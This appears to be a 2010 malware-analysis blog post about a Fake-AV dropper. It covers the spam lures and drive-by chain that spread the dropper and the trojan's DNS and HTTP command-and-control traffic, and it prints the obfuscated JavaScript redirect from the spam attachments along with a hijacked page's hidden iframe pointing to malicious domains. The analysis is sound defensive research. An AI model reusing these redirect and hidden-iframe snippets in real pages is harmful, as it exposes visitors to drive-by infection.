New Dropper Uses DNS To Communicate

During the last few weeks I’ve monitored a new Dropper which is using DNS and HTTP in combination to communicate with the Command&Control Server (C&C).

I’ve first seen the Trojan on 2010-06-08 being dropped by a well known Exploit Kit called NeoSploit. The AV detection rate is pretty good: most of the AV-vendors are currently detecting the binaries which are used to spread the Trojan as Fake-AV. As fare as what I have seen is that this Trojan is just a dropper which drops additional Fake-AV software.

Back in june when I first saw the Trojan I’ve added a signature to AMaDa. Hence AMaDa will tag the binaries and URLs which are associated with this Trojan as DNSTrojan.

In September 2010, I just saw a peak on AMaDa in new URLs propagating DNSTrojan:

Over the past days I’ve saw dozends domain names popping up which are being used to spread the Trojan (using Drive-By exploits). Here are some of them:

As already mentioned before, the Trojan is just being used to drop Fake-AV software. For now I’ve identified the following domain names which are associated with this Fake-AV campaign:

*** Spam Mails propagating the DNSTrojan ***

This week I’ve found dozens of Spam mails in my honey pots which have had a HTML file attached. Some of the subject I’ve seen so far are:

• Consultation Appointment
• Questions
• Outstanding invoice – 9386 Ltd
• Nivea commercial payment
• Appraisal – Killington $155000
• Re: GO HOME + SHE SAID / 4.3.2.1./
• Transaction Breakdown
• Offer on Killington
• Fwd: Addendum to extend close of escrow!
• Signatures to Intercreditor
• demands for payment
• Mortgage Breakdown PITI
• notes from last week
• and many more…

The HTML files which are attached to all those spam mails contains JavaScript code:

<script type='text/javascript'>

<!--

var s="=nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1<vsm>iuuq;00cmbdlmfgjmn/dpn0y/iunm#!0?";

m=""; for (i=0; i<s.length; i++) {    if(s.charCodeAt(i) == 28){      m+= '&';}

 else if (s.charCodeAt(i) == 23) {      m+= '!';} else {      m+=String.fromCharCode(s.charCodeAt(i)-1);

}}document.write(m);//-->

</script>

Hum? Obfuscated JavaScript code. If we decode it the following HTML code appears:

<meta http-equiv="refresh" content="0;url=http://blacklefilm.com/x.html" />

The JavaScript coded embedded in the malicious attachment are redirecting the victim to a hijacked website which displays the following message in the web browser:

For now I’ve seen the following hijacked websites involved in this spam campaign:

The hijacked website tries to do two things:

1. Install the ZeuS Banking Trojan using drive-By exploits (See AMaDa)
2. Redirect the victim once again to site which is controlled by the cybercriminals to distribute DNSTrojan

The HTML source code of the hijacked websites (x.html) looks like this:

<meta http-equiv="refresh" content="4;url=http://lausakizse.cz.cc/scanner10/?afid=24" />

<iframe width="0" height="0" src="http://wedubud.co.cc/ajax/?db=img&showtopic=11ss&last=redirect& [...]"></iframe>

Once the victim has been redirected to the site controlled by the cybercriminals, the page tries to assure the victim that his computer is infected with malware and offers him a malicious EXE-file:

The binary served by those websites contains the DNSTrojan and is being detected as “Fake-AV” by the most AV-vendors:

As of 2010-09-21 19:00 UTC, the spam campaign is still going on.

*** The DNSTrojan ***
Let take a closer look at the Trojan which is being dropped: The Trojan installs itself into the following directories:

Note that the file names used by the Trojan varies. Additionally the Trojan has a interesting behavior when Apple Quick Time is installed on the victims computer: He will install itself into the Quick Time directory:

In a next step the Trojan contacts its first Command&Control Server which is located at httpdsconfig.com. But the interesting thing is that the Trojan uses DNS instead of HTTP to communicate with the C&C in the first stage:

The Trojan is doing a DNS TXT query to httpdconfig.com every few minutes by using the current UNIX timestamp as subdomain (*unixtimestamp*.httpdsconfig.com).The C&C server replies with a encrypted string (seems to be always the same):

Afterwards the Trojan resolves the domain name desktopsecuritysolutionnew.com and will contact a second C&C server located at httpsxy.in. This time the Trojan uses HTTP to communicate with the C&C:

The C&C server will answer with a HTTP 404 (Not found) but the response also contains encrypted data anyway. I assume the cybercriminals are doing this to fool security researchers and IDS/IPS:

Last but not least the Trojan query a third C&C server located at httpsbee.in every 30 seconds:

Note that the p string is a base64 encrypted string containing the values “MACHINE”, “OP” and “TRK”.

*** Conclusion ***

• The Trojan is pretty new (first see in June 2010)
• The detection rate on the Trojan binaries is currently pretty good
• The Trojan uses DNS and HTTP to communicate with the C&C
• The Trojan dropps Fake-AV software (using “getfile.php”)

I recommend you to block the access to the following domain names which are associated with DNSTrojan:

Related Posts

• Fake hotel.de Booking Emails Hitting CH and DE
• Fake Swisscom And T-Mobile Emails Hitting CH and DE
• Malware Spreads Through Malicious PDF Attachments
• Delta Airlines Spam Lead To Citadel
• Dutch Spam Campaign Hits Switzerland With P2P ZeuS
• A Quick Update On Spambot Kelihos
• Ransomware Gets Professional, Targeting Switzerland, Germany And Austria
• Kelihos Back In Town Using Fast Flux
• Scareware Locks Down Computer Due To Child Porn and Terrorism
• Ice IX – Or Just ZeuS?